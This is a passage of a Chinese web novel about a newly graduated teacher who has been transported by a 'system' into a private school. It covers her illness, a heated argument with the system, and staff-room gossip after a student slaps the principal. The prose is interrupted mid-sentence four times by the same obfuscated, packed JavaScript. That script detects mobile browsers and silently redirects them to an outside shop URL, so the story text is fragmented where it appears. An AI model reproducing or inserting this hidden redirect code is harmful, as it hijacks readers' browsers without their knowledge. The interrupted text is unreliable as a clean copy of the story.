肖遥点点头,清了清嗓子,艰难地发出声:“我打算现在就去医院,然后请下午到明天的病假。” “调课了吗?” “难调,还是主任帮我安排代课吧。” 蒋主任点点头,没再说什么,很快就在请假单上签了字。 孙老师和肖遥一同走出教务处,主动开口道:“我昨天就发烧了,熬了一天,吃了退烧药也没啥用,所以才请假。” 她的喉咙好像吞了一块异物,声音变得低沉而沙哑。 “我现在打车去附近的社区医院,要一起吗?” 肖遥求之不得,有人做伴再好不过了。 社区医院离学校不远,打车只需要8分钟。肖遥坐在后排闭目养神,而旁边的孙老师则一直看着手机,手不停地打字。 似乎是注意到肖遥的眼神,孙老师抬头叹气道:“唉,我是在回家长的信息。” “有学生要请假回家,虽然马马主任帮我写了放行条,但我还是要联系家长。” 肖遥了然,学生请假挺麻烦的。 班主任要先开放行条,要联系家长到校接,有的家长没空来就线上打了个空车来接孩子。班主任还得通知门卫室保安,核对过车牌号才能放行。 她又看了看孙老师的愈发憔悴的面容,暗叹了一口气。 打工人不容易啊。 此时的社区医院人还不算多,肖遥和孙老师一同挂了号。护士给了两人体温计,先量体温。 好嘛,38.5度。 肖遥又看了眼孙老师的体温。 比她严重一些,39度。 医生看完两人的温度计后,又简单询问了一些情况。 最后给两人开了药,要挂点滴。 医生又对着孙老师嘱咐了句:“你这几天要少说话,注意保护嗓子。” 孙老师沉默了会,道:“我是老师,恐怕很难不说话。” 轮到医生沉默了。 她叹口气,理解地点点头,又在电脑上快速敲了几个字:“我再给你开点药。” 这世上能理解老师的除了同行,大概就只有医生了。 一个教书育人,一个救死扶伤。 在肖遥看来,这两个职业都被赋予了极高的期望,背着极重的道德枷锁,同时也是最受委屈的职业。 不仅得不到应有的尊重,甚至一些小事都会被无限放大,接受大家的审判。 学校有家校矛盾,医院有医患矛盾。 老师是上辈子杀猪,这辈子教书。医生是上辈子杀人,这辈子学医。 老师要教会蠢的,医生要救活死的。其实不都是在逆天改命,干涉他人因果吗? 唉。 ...... 吊瓶里的药水,一滴一滴地进入到肖遥的身体里,医院走廊里只有医生护士低声的交谈。 肖遥静静地坐在椅子上发呆,她意思逐渐涣散。 她有点想妈妈了。 她算了算日子,已经有三个多月没见到妈妈了。 不是她矫情。 而她莫名其妙地来到这个世界,莫名其妙地开启了教师工作,还得拖着病体上班。 她很难受,又不知道跟谁诉说。 她现在才慢慢明白成年人的世界是多么的复杂,一个人要在社会上存活下来是多么的不容易。 其实刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260351|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚在车上看到孙老师还坚持回家长的信息,肖遥就想到了她的妈妈。 肖遥的妈妈大名肖元,肖遥是独生女,随妈妈姓。 她常常戏称她为肖主任,因为她的妈妈也是老师,在那个世界里,她是A市本地著名中学颇具名气的语文老师,常年带初三毕业班,不仅是班主任还是年级主任。 当时为了照顾肖遥,肖主任特地从初一跟着上初三。也因此,肖遥从初一开始就跟着其他同学被留堂,肖遥的初中三年过得可谓极其痛苦。 在肖遥的印象中,肖主任一直很忙碌。 她对工作极其负责,每天忙着上课教研改作业,下班后还常常在书房里熬夜备课。 肖遥常常半夜起来,看到的就是妈妈伏在桌前批改试卷的场景。 有时候肖主任生病了也坚持回学校,因为她不想学生的进度落后,想着多讲一点是一点。因此,她常常病痛缠身。 那个时候肖遥不理解,不就是一份工作嘛,为什么这么拼呢? 她更无法理解的是,她的妈妈还要强迫她读师范学校,考教师编,进入教育行业。 “肖遥,教师编能给你提供一份稳定的薪资,这是你能够体面生活的底气。” “只有编制不会背叛你。” 肖遥到现在都还记得肖妈妈对她说这句话时温和而平静的眼神。 肖妈妈强势,哪怕肖遥再怎么抗拒教师行业,她还是在肖遥填报志愿的时候,为肖遥选择了离家近的师范大学。 受制于肖妈妈的经济管控,肖遥这三年多还是乖乖上课,并考取了教师资格证。唯一能让她有些许安慰的,就是选择了自己没那么讨厌的专业,历史学。 她是打算完成学校的实习后,再寻找其他工作,毕业后去别的城市工作。 谁知,天有不测风云,竟来到了这里。 想到这里,肖遥叹了口气。 其实她对妈妈的感情还是挺复杂的,读书时总觉得妈妈烦,不理解女儿的心思。但来到这里后,她又开始想妈妈了。 其实肖主任挺厉害的,她的教育事业风生水起。学校里从领导到同事再到学生,没有不敬佩她的。她还独自一人把自己拉扯大。 换做是肖遥,恐怕做不到像她这样。 不知道肖主任现在还是不是每天都那么拼。 ...... “哗-哗-哗-” 肖遥被耳边传来的一阵“哗哗”声吵醒。她晃了晃脑袋,眼前的视线逐渐清晰起来。 吊瓶里的液体快没了。 她刚刚出了一身汗,黏糊糊的。肖遥摸了摸自己的额头,似乎没那么烫了。 她扭头看向声音的来源处。 肖遥:...... 肖遥瞪大了双眼,她居然看见了孙老师在改试卷!? 她是烧糊涂了,所以看错了吗? 哪来的试卷? “孙老师,你是在改试卷吗?” “对,”孙老师用那只没有打点滴的手拍了拍脚边的挎包,头也不抬继续改卷道:“反正闲着也是闲着,把学生的课堂小测改一下,回去就不用加班改了。” 肖遥:...... 她居然还打算回去加班。 肖遥佩服得五体投地。 看来事实再一次证明,她真的不适合当老师。 23.争吵 点滴打完,已经是夜幕降临时。 回校后,孙老师去了教室,她说她要先回去班里巡视一圈再回教师宿舍。 为什么不回家? 因为家里还有孩子在,她不想传染到孩子。 至于肖遥,她直接回教师宿舍躺着。 开玩笑,她可是请了假的人,就该好好呆在宿舍,不然对不起她被扣的钱。 也就是这时候,肖遥愈发明白了,为什么当初去民办学校的师兄会跟她感慨:你要私立钱,私立要你命。 也明白了为什么那么多民办老师最后都拼命考上编制,因为编制给你站着挣钱的机会。 唉。 肖遥咬了口粉丝,又快速解决掉剩下的麻辣烫。还没有入睡意识的她躺在床上看着天花板发呆。 她把许久没见的系统喊了出来。 “在不在啊,统。” “在的,亲。”熟悉的机械声很快就出现在耳边。 “哟,我以为你不在呢,喊你三次只有一次回应。”肖遥阴阳怪气道。 说好了帮助她通关这个教师成长计划,结果除了一开始还有点踪影外,其余时间根本见不着。 “亲,有什么事吗?”青蓝色的光团一闪一闪的,避开了肖遥的问题。 见状,肖遥只说了句:“我生病了,好累哦。” “好好休息哦,争取早日好起来,继续上课。” 肖遥:“......” 肖遥:“不想上课,好烦躁,看到领导烦躁,看到学生烦躁,看到家长信息也烦躁。” “亲,熬过去就好了哦。” “啧,”听到公式化的答案,肖遥内心逐渐不满:“你怎么就只说这些呢?你就不能提点建设性意见?或者帮我骂一骂领导出出气都好啊。” “这样不好哦。” 肖遥:“......” 人工智障。 肖遥不管它,自顾自吐槽起来:“这个破学校,老师请假要自己调课,要为什么还要扣工资呢?这个课后面不是会上回来吗?” “请个假全勤就扣一半,没人性。” 系统:“哪里上班都这样的嘛。” 肖遥:“......” 肖遥无视它,继续愤愤道:“学校里的每个老师每天都很忙,这个垃圾学校根本不给人闲下来的时间。你看看班主任,从早忙到晚。不是处理学生问题,就是在完成学校布置的活动。” 肖遥掰着手指数落:“基本上都要每天早起看早读,每周至少有一天要陪学生跑步,每天都要花额外时间准备班级活动,比如上周刚结束篮球比赛,这周又有班歌比赛,只不过因为因为流感严重推到下周而已。” “你看看孙老师,连生病了都放不下班里的学生,回来还要先去教室。” “说明这些老师负责嘛。” 肖遥:“......” 不是,啥意思啊它,内涵她不负责吗? 这个人工智障怎么态度不一样了? 肖遥立刻从床上弹了起来,指着前面的青蓝光团怒道:“我是在指责学校的不合理行为,老师也是人啊,这么干下去,谁扛得住。” 系统:“她们就扛得住啊,只要有人扛得住,就说明这个事情还可以让人接受。” 系统:“亲,你还是要摆正心态,积极乐观面对工作。” 肖遥:“……” 好气。 她这是被教训了? 肖遥咬牙切齿道:“我哪里没有摆正心态了!我每天都在努力完成工作!” 系统:“可我看到的更多是你对工作的不满和埋怨哦。” 肖遥:“工作不好我骂一骂怎么了!” 她怒上心头,继续骂道:“你看看那些学生,是来上课的吗?不是睡觉,就是讲话,看课外书,还有一堆人上课照镜子,玩头发,玩手指,玩笔,连同桌的衣服都能扯一扯。课是不听的,作业是不写的,老师是要背后骂的。你知道背后多少学生骂我是biaozi,jianren吗?有些甚至当我面做口型骂我的,我只能当做不知道!” 肖遥心中委屈,还有很多事情很离谱,只是她没说出来而已。 她以前就知道初中生不好管,所以知道自己要教初中的时候就做好了心理准备。开学那段时间,这群学生刚到新环境还有所顾忌,但是这两个月越来越放肆了。 上课要老师哄着,背书要哄着,写作业要哄着,收作业还要哄着,甚至还被某些学生暗示要买奶茶零食。 她是什么很jian的人? 背后骂她的学生也很多,虽然每个老师都被骂过,但是她就是很不爽。 甚至有些在她面前笑嘻嘻,说喜欢她的学生,背后也会用恶心的语言骂她。 表面一套,背后一套。 这两个月,她简直是刷新了三观。 她愈发相信人性本恶。 系统:“初中的学生正处在叛逆期,作为老师应该要引导他们。” 肖遥:“我哪里没引导了?我上道法课,给学生讲道理都快要吐了。给学生分析案例,明明用脑子都能选出来的符合社会价值观的答案,结果这群人就是要跟你作对,偏要用脚选出来个反社会的答案。我怎么引导?” 系统:“可以跟家长反映的嘛,老师就是要多跟家长反映孩子的情况,做到家校共育。” 肖遥深吸了一口气,压下心中的怒火,耐着性子解释:“我怎么没有跟家长反映了?我跟家长说,家长听吗?跟我说,‘好的,老师,周末我回去教育一下。’教育个屁。下周还是这个鬼样。” “有的甚至还说,”肖遥学着那个语气mean到爆的家长,道:“你是老师,你应该教育好孩子,不能事事都找家长,我花钱把孩子送来学校就是让你们教好他的。” “这都算好的了,有些家长指着我的鼻子骂,说我是道法老师,但是没教育好孩子。他意思是说他孩子犯了错都是因为我。” 当时听到这句话的肖遥都要被气晕过去了,她从未见过如此不讲理的家长。 果然是应了那句话:有问题的学生是家里病得最轻的那个。 你永远不知道这些问题学生背后有多少蛮不讲理、胡搅蛮缠的家长。 系统:“你也要理解家长,跟家长沟通要用对方法,实在不行,可以跟班主任、领导沟通。” “我理解家长,家长理解我们了吗?” 肖遥“嗤”了一句,冷笑道:“还有班主任本来就忙,我能事事都找班主任吗?更何况有的班主任会帮你管,有的班主任还是直接让你跟家长沟通,又或者告诉你这个家长就是这样。” “至于领导,我跟他们说学生、家长的问题,他们只会指责我,说我的处理方法不对。” 尤其是她是刚毕业的青年教师,上面的领导全都说她太年轻了,说话太直了,不懂得圆滑处理。 她能怎么圆滑处理? 这不能惩罚,那不能得罪,她来上班都快变成孙子了。 站着上课,实则跪着教书。 系统:“你是老师啊,老师的工作就是要教书育人,你们肩负着莫大的社会责任。” 依旧是平静的语气。 但是肖遥越听越气:“凭什么当老师的就要受这种气啊!凭什么要给我套上这么大的责任。古代社会的学生还会尊师重道呢,你看看现在这个社会,谁尊重老师?” 谁都能被叫上一句老师,而她们传道授业解惑的反而不敢在外面自称是老师,因为谁都能踩她们一脚,谁都能对她们进行道德审判。 【你是老师,你不能这样说话。】 【你是老师,你怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17271107|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能这么做。】 【亏你还是老师呢,连这个都不知道。】 【我上班的时候最讨厌的人就是老师了,啰嗦小气还较真。】 【这些老师工资很高,年薪最低都有二十万。】 【你们这些老师知足吧,有寒暑假,周末双休,还有五险一金,工作稳定。】 【这些老师真不是人啊,家长不送礼就区别对待学生。】 【这些人算什么老师?只会上课念PPT。】 ...... 数不尽的道德绑架,数不尽的污言秽语,还有数不尽的诬蔑。 她真是受够了,这难道不是另外一种意义上的职业霸凌吗? 只是因为是老师,就活该受着? 系统:“但你已经选择了教师这个工作,你就要尽责。” 肖遥:“......” 肖遥抬手摸了摸的她的胸口,刚刚她的心脏心好像漏了一拍,她的头不知为何微微刺痛。 她大喘了一口气。 隐约之间,透过青蓝色光团,她彷佛看见了她妈妈威严的面孔。 肖遥本就发白的嘴唇哆嗦着,她将手中的枕头狠狠地扔了出去,对着面前的光团嘶声裂肺道: “是你让我来的!!!” “我没想来当老师!!!是你逼我来的。” 明明是这个破系统把她带来这个破世界,现在却还要来指责她。 只是因为她是老师,所以她不能骂学生,不能骂学校,不能说自己的工作不好? 凭什么? 凭什么? 系统:“你不喜欢可以拒绝不干啊。” “我有得选吗?我有得选吗?” 肖遥的胸腔剧烈起伏,像是被什么东西压着,呼吸越来越沉重。 她耳边又出现了那些话。 【你不想做老师可以离职,有得是人干。】 【没有教不会的学生,只有不会教的老师。学生成绩不好,是你能力不足。】 【做老师的不要计较工资,要守得住清贫。】 【忍一忍吧,别人都能干,为什么就你不能干?】 【这有什么好累的,你还年轻,熬一熬,阅历上去了就好了。】 【你是编制内老师,多少人羡慕你,你还不珍惜。】 ...... 肖遥的情绪逐渐失控。 她的脸色变得惨白,牙齿止不住地打颤,冷汗顺着鬓角留下,滴落在被套上。 她彷佛又看见了她的妈妈,脸上依旧严厉、冷酷,还有失望。 【肖遥,你太让我失望了。】 是了,是了, 这才是她的妈妈,一个有着强烈控制欲的教师母亲。 她从小到大就生活在她的掌控之下,从来没有隐私。她的生活习惯、衣着品味、兴趣习惯、专业学习、职业规划都被她牢牢控制。 她的小学和初中都在她妈妈工作的学校里,她的高中班主任是她妈妈的同学,她的大学是她妈妈毕业的学校,连她大四实习的初中都是她妈妈在职的学校。 她甚至没有办法决定她的微信头像,她只能严格遵守她母亲为她预设的人生道路。 “我不干,就得死,这是你说的!” “所以在你看来,做老师没那么可怕不是吗?至少你还坚持着。” “不是的,不是的!!” 肖遥抱着头无力地反驳着,她知道系统的话不对,可她不知道如何辩驳。 【肖遥,你是个懦弱的人。】 带着一丝冷漠的嘲讽,肖遥分不清是系统的声音还是她自己的声音。 她觉得自己的脑袋里缠绕着无数的乱麻,看不清也理不清。 她的意识开始模糊,青蓝色的光团逐渐在她眼前消失,直到什么也看不见。 24.校长被打了! 肖遥好像做了个梦。 她独自一人站着,周围一片白雾,她什么也看不清。 看不清自己的样子,也看不清面前的路。 她只能伸出手慢慢摸索着。 周围逐渐传来声音,吵杂、混乱,似乎在为她指路,但她听不清这些人究竟在说什么。 她只能跌跌撞撞向前走着。 她走了好久好久,不知道自己走到了哪里。前方仿佛没有尽头,耳边的嘈杂声依旧不停。 “系统?” 她尝试着出声,可无人应答。 “小青蓝?” 依旧没有人回应她。 突然,肖遥的面前泛起了点亮光,隐隐约约地,她看见了一道模糊的身影。 这个人背对着她,她看不见“她”的样子。 “她”慢慢地向前走着,肖遥便朝着“她”的方向慢慢挪动着脚步。 突然,“她”加快了速度。 肖遥为了追上“她”,只能同样加快速度。 就在肖遥的手快要触碰到“她”的时候,脚下猛地出现了一个大坑。 熟悉的失重感传来, 肖遥明白,她又莫名其妙地掉进了这个坑。 ...... “啊!” 肖遥猛地坐起身。 她环顾了周围一圈,这不是她本科学校的宿舍,也不是家里的房间。 是A市实验学校的教师宿舍。 “咚~” 床头柜上的手机在不断震动,肖遥伸出手摁掉闹铃。 早上6:50分。 肖遥又躺下了。 还早,而且今天她请假了。 她摸了摸自己的额头,没有再发烧了。 肖遥闭上眼睛,回想起昨晚的梦。 “系统,在吗?” “亲,我在的。” 沉默了一会,熟悉的声音在肖遥耳边响起。 肖遥沉沉地吐了一口浊气,道:“昨晚,我做了个梦,梦到我又掉进了那个坑。” “亲,以后少熬夜哦,你的睡眠质量有待加强。” 肖遥:“……” 她最近很少熬夜了好不好! 她又想起昨晚系统的态度与语气,与以往不同,极其的冷酷和恶劣。 于是肖遥冷哼道:“你昨晚居然说我不负责任!还跟我吵架!” 面前的青蓝色光团晃了晃,语气依旧平和道:“亲,没有吵架,是陈述事实。” 肖遥:“……呵呵” 肖遥扶着脑袋语气可怜道:“我不管,被你说得我头又疼了。” 系统:“……” 系统:“亲,不可以找借口不上班哦。” “而且,” 系统顿了顿,道:“那是前晚的事情了。” ? 啥意思呢? 系统:“你今天该上班了,而且你还有早读。” 肖遥一愣。 什么前晚,明明是昨晚好不好! 而且她还请了今天的假。 肖遥连忙拿起手机。 ! ! ! 啊啊啊啊啊啊啊啊啊啊啊啊啊啊! 肖遥瞪大了双眼,她不敢置信。 这是不是错觉? 怎么睡了个觉,一天就过去了? 肖遥不死心地闭上了眼睛。 等她再睁开双眼时,她终于不得不接受现实。 今天是她销假的日子,而且她还有早读! 眼看着已经七点了,肖遥没再纠结原因。 她连忙从床上冲到洗手间洗漱,又匆匆换了衣服,然后连忙跑去打卡,又冲去饭堂拿了几个包子。 终于赶在7:20分前到达课室。 听着学生死气沉沉的读书声,肖遥满脑子的疑惑。 她刚刚一直在回忆昨天发生的事情,但什么记忆也没有。 只有昨晚,哦,是前晚和系统吵架的记忆,但这段记忆也逐渐模糊。 她只记得自己做了个恶梦。 欸? 这个噩梦是啥来着? ! 想不起来了?! 肖遥气得拍了拍自己头发日渐稀少的脑袋。 简直是鱼一样的脑袋。 ...... 上完早读,肖遥回到办公室。 “肖老师,你身体好啦?”历史陈老师关心地问道。 “嗯嗯,打了点滴,吃了药就没再发烧了。” “那就好。” 看着正在往身上挂小蜜蜂准备上课的历史陈老师,肖遥迟疑地问道:“...昨天,我有来办公室吗?” 听到这句话,历史陈老师惊讶地抬起头,道:“没有啊,昨天你不是在宿舍休息吗?” “哦哦哦,对对对。” 历史陈老师还想再问什么,但预备铃响了,她只能按下话头,先去课室。 算了。 肖遥晃了晃脑袋,不再去想昨天的事情。 她赶忙翻开堆积在桌面上的练习册。 请假了一天,5个班的作业都没改,她得抓紧时间。 第二节是5班的课。 上课预备铃响了,肖遥拿着课本慢悠悠地走进教室。 她扫了一眼,好几个学生不在。 正当她准备询问时,其中一个,也是她的心腹大患,满脸兴奋地跑了进来大喊道:“老师老师,校长被打了!” 肖遥:??? 啥? 肖遥皱起眉头,她是不是应该去医院检查一下。 最近不仅记忆力不好了,还出现了幻听。 她板着脸对着眼前的心腹大患训道:“别在这里胡说八道!赶紧回座位去。” 见到老师不相信他,心腹大患又急忙道:“真的,真的。一班的周子鸣把金校打了!!!” 说完,他又赶忙拉住站着教室前门气喘吁吁打着“报告”的同伴,道:“你也看到了对不对。” “嗯嗯。” “哦~~~” 见状,班里的其余学生又开始起哄。 ? 肖遥难得在学生面前瞪大了双眼。 谁把谁打了? 周子鸣把金校打了? 哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈 学生打了校长,还是她最讨厌的校长。 肖遥可太开心了。 哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈 肖遥忍住内心的激动,面上却不着痕迹。 她喝住两人的话头,把他们赶回了座位,又难得的没有惩罚迟到的学生。 今天的肖遥,比学生还更不想上课。 她好想跑回办公室去吃瓜!!! 好不容易下课铃响了。 肖遥赶紧布置完作业,便赶忙回到办公室。 刚回到办公室上,肖遥便对上了美术何老师兴奋的眼神。 肖遥心领神会地关上了办公室的门,与同样刚刚下课的历史陈老师凑到了美术何老师和音乐王老师面前。 “怎么回事,我刚刚听学生说,金校被打了?”历史陈老师压低了声音,但不难从中感受到她愉悦的心情。 美术何老师点点头,又挑眉得意道:“而且我目睹了全过程。” “快说快说。”音乐王老师催促道。 “刚刚第一节课,701班的两个学生,就是那个年级一哥和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282820|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周子鸣又打了起来,还是在班主任的课上。班主任李老师就很生气,下课后把他们拎去了办公室骂了一顿。” “结果这两个人都不服气,非说是对方先动手。李老师就说,既然都不承认,那就一起罚。然后两个人就在办公室做上下蹲。刚好金校过来巡查,见到这两个人被罚,又知道了前因后果,于是开始对他们一顿''爱的劝诫''。” 似乎又想起了当时的场景,美术何老师忍不住笑出声,道:“你们知道的,周子鸣是个颠公,颠起来是六亲不认的,连自己爸妈都骂。不知道金校哪句话刺激到他,他突然伸手给校长来了一巴掌,而且又开始问候金校的祖宗十八代。” “哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈。” 肖遥低下头捂着嘴,尽量不让自己笑得太大声。 强压着笑意的美术何老师又道:“我当时是去隔壁办公室等马主任回来签字,所以见证了全过程。你们不知道,当时金校的脸都黑了。其他人都没反应过来,直到周子鸣的第二巴掌落在金校的脖子上,他们才赶紧拉住他。” “哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈!” “我从未见过他的脸这么精彩,又黑又红的。” “毕竟谁能想到,学生会打校长啊哈哈哈哈哈哈哈!”历史陈老师笑倒在桌上。 别说她了,肖遥也难以想象。 从小到大规规矩矩上学的她,从未遇到过这件事。 她的家乡极其尊师重道,老师骂学生是家常便饭。便是肖遥被老师错骂了,她也不敢反驳。 如果学生不尊重老师,也必定会先被自己的父母打一顿。 因此,肖遥才会在听到这件事的时候,误以为自己幻听了。 “后续呢后续呢!!!”急性子的音乐王老师又催促道。 美术何老师深吸了几口气,稍微平复了下情绪:“我们几个在办公室的老师就跑过去拉开学生,当然,我是去看热闹。” 大约是金校也从未经历过这样的事,他也懵住了。 他气急败坏地指着周子鸣半天,然后憋出了四个字:“无可救药”。 李老师站在一旁更是尴尬,自己的学生当众把校长打了,自己还在跟前见证。那一瞬间,她恨不得立马消失,再也不出现在金校面前。 “然后,李老师就把周子鸣拉去了政教处,大概是打电话给他家长了。” “他家长来了也没用吧,”肖遥调侃道:“周子鸣还会跟自己爸妈对骂呢,而且他颠起来连自己都骂。” “这事总得走个过场,不然金校的权威何在?”历史陈老师打趣道:“虽然我觉得他之后也没什么威严了哈哈哈哈哈哈哈!” 被周子鸣折磨过的音乐王老师冷笑道:“活该,之前周子鸣搞了那么多事,班主任都说管不了,想劝退他。是金校自己不同意,死活要留住学生,还说是班主任自己能力不足。” 肖遥赞同地点点头:“这是报应啊。” “忽”的一声,办公室的门被打开了,是学生做完操回来了。 几人立刻止住话头,各自回到自己的工位上。 肖遥嘴角上扬,乐呵呵地拿着红笔继续改学生的练习册。 仇人倒霉,她开心。 想必今天之内,全校师生以及各个岗位的职工都会知道这件事情。 毕竟学校传播八卦的速度是最快的。 忽然, 肖遥想到早上系统说的话,她掐了自己的大腿一把。 嗯, 有痛觉。 看来这不是做梦。 不是她上班上到一半突发癔症幻想出来的事情。 是校长真的被打了! 哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈! 25.恶心的男同事 周一升旗,政教处魏主任通报批评了上一周违反学校纪律的学生,其中就包括了“痛打”金校的周子鸣。周子鸣因情节严重,停学一周。虽然没有具体说是什么问题,但全校师生都心知肚明。 看着依旧满面春风、对着学生和蔼可亲的金校,肖遥还特地问了701班的班主任李老师,周子鸣是否会被劝退。 李老师沉默了会,神色不明地回了一句:“他爸妈还是很明事理的。” 她这么一说,肖遥便明白了。 民办学校嘛,钱才是最重要的。 ...... 元旦过后,各科的老师都在赶教学进度,因为中下旬就要期末考试了。尤其是语数英三门主科老师,每天都拖堂,放学后也会把学生留下来讲课、讲题,音体美和信息劳动课大部分也被主科老师占用。 这些副科老师乐得清闲,只是学生们整天都蔫着脑袋无精打采。 肖遥的道法课倒是不需要赶进度,只是学生每天的心思都在主科上,越来越多学生不在意道法课。作业总是胡乱写几个字交上来敷衍她,甚至还有学生在她课上写作业。 “这是道法课,你在干什么?” 肖遥的脸色很不好看,这是她今天第3次发现有学生在她课上写其他科作业了。 “......” 面前的学生低着头沉默。 “说话呀。” “老师对不起。” 双唇紧闭的嘴里最后吐出了几个毫无歉意的字。 “站后面去,下课来我办公室。” 肖遥冷眼看着他拿着课本走到教室后面,随即她对着下面的学生严厉道:“这学期就剩下几个星期了,你再怎么不喜欢这门课,也至少尊重一下我。如果你真的不想上这门课,直接告诉我,以后我的课你都去办公室呆着。” 顿了顿,她又继续回到刚刚的问题:“这道题,谁来解答一下?” 全班鸦雀无声。 但肖遥也不指望这些学生会回答,自从她教了道法后,才发现这门课真的好难教。 音乐体育美术信息这些副科是学生最喜欢的科目。而中考科目中,学生最喜欢数学,因为可以从数学解题中获得快乐;其次是语文和历史,可以听老师讲小故事;至于地理、生物等科目没有太大的考试压力,学生也不在乎。 唯有英语和道法,一个非母语听不懂,一个理论枯燥不想听。也因此,这两门科目的分数和排名总是落后于其他科,每次领导开会批评最多的也是这两门课的老师。 肖遥曾向道法赵老师请教如何把课堂上得有趣,得到的回复是,哪怕是区教研员上课,也很难做到生动有趣课堂氛围好。一个是因为科目性质,一个是因为学生不大配合。 学生不愿意听枯燥的理论,只对事例里面的视频感兴趣。一到提问环节,全就跟哑巴一样。肖遥只能硬着头皮自问自答。 几个月下来,她已经习惯课堂上只有她的声音了。 下课后,肖遥把那个上课写作业的学生拎到了办公室。 “为什么上课写数学作业?” “因为没时间写数学。”面前的男生诺诺回道。 “那也不应该上课写。”想起之前的事情,肖遥又严肃道:“你上次没交作业给我的理由就是数学作业太多,所以先写数学。” “黄老师早读的时候跟我说,我今天上课前还写不完就会加倍惩罚。” “所以现在晚自习和下课时间都不够你写,还要在道法课上写?你上次月考道法都不及格了,你还一点都不重视?” 男生咬住下唇,怯懦道:“黄老师说了,道法历史的分值没有数学的高,所以应该花更多心思在数学上。” 肖遥:“......” “中考只考数学,不考道法是吗?” 男生低着头不敢看肖遥,只是沉默地摇摇头。 肖遥无奈地叹了口气:“你跟我来。” 她领着学生走到了隔壁办公室黄老师的位置,黄老师是703班和704班的数学老师。 肖遥虽跟他搭班,但接触不多。只知道他快40岁,在学校干了很久,有一个在读初三的独生女。 此刻,他正在座位上,一边品着茶,一边悠悠地改着学生的作业。 肖遥把练习册递给黄老师,快速陈述了一遍事情经过。 黄老师听完,眉头微微蹙起。 他放下茶杯,单手扶住镜框往上抬,指着数学练习册对着学生厉声道:“我是让你快点写完作业,没让你在课上写,还被老师抓住了?” 他又翻了翻练习册,嗤笑道:“你看你笨得,就这么几页数学题都写不好。” 男生只是一味地低头,沉默接受着数学老师的批评。 数学黄老师教训完学生,又道:“道法老师哦,我会批评这个学生的。” 他头也不抬,就回了肖遥一句不痛不痒的话。 “赶紧的,站旁边把数学题写完。” 肖遥:“......” 不知道为什么,好不爽。 肖遥默了默,没再说什么,直接回了办公室。 邹老师看着肖遥黑着脸回来,便走过来问道:“你刚刚带学生去找黄老师了?” 肖遥点点头。 “是不是没什么用?” 肖遥叹了口气,道:“他就批了学生两句,又让学生继续写作业了。” 邹老师一脸“果然如此”的表情,她伸手指了指隔壁办公室,小声道:“他啊,超级目中无人,我来学校那会也跟他搭班,跟他打招呼他都不理人的。” “之前学生也在我历史课上写数学作业,我批评了学生,让学生罚抄历史知识点。然后学生因为没完成数学作业被他痛骂了一顿。你知道他说什么吗?” 回想起往事,邹老师一脸的怒气冲冲:“他说,历史不就记几个朝代?需要花时间去背、去抄吗?你居然为了写历史不写数学?我一道数学题就顶你多少个历史单选题了。” “他那大嗓门啊,隔了一面墙都能传到我们办公室,我当时还在给学生讲题,你不知道我有多尴尬。” 肖遥皱眉:“他怎么这样说话啊,数学重要,历史就不重要了?而且明明是他的数学作业布置太多了。每天好几页数学练习册,我看学生有时候都花两节晚自习来写。” 在一旁听着两人对话的美术何老师冷哼了一声:“没办法啊,人家是主科老师。他对我们这些副科中的副科老师态度更差,有时候没经过我们同意,直接打了个招呼就占我们的课上数学。” “没跟班主任反映过?” 历史邹老师摇摇头:“没用的,连年级主任马主任都管不住他。而且听说他和学校领导关系很好,你看给他分的班级,3班和4班在普通班和重点班中都是很好的班级。” 肖遥悟了,难怪他那么嚣张,原来后台硬。 美术何老师:“还有之前我负责老师的评职称和材料上交,他居然让我帮他整理材料。我直接拒绝了,你说他脸怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294715|197678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么这么大。” 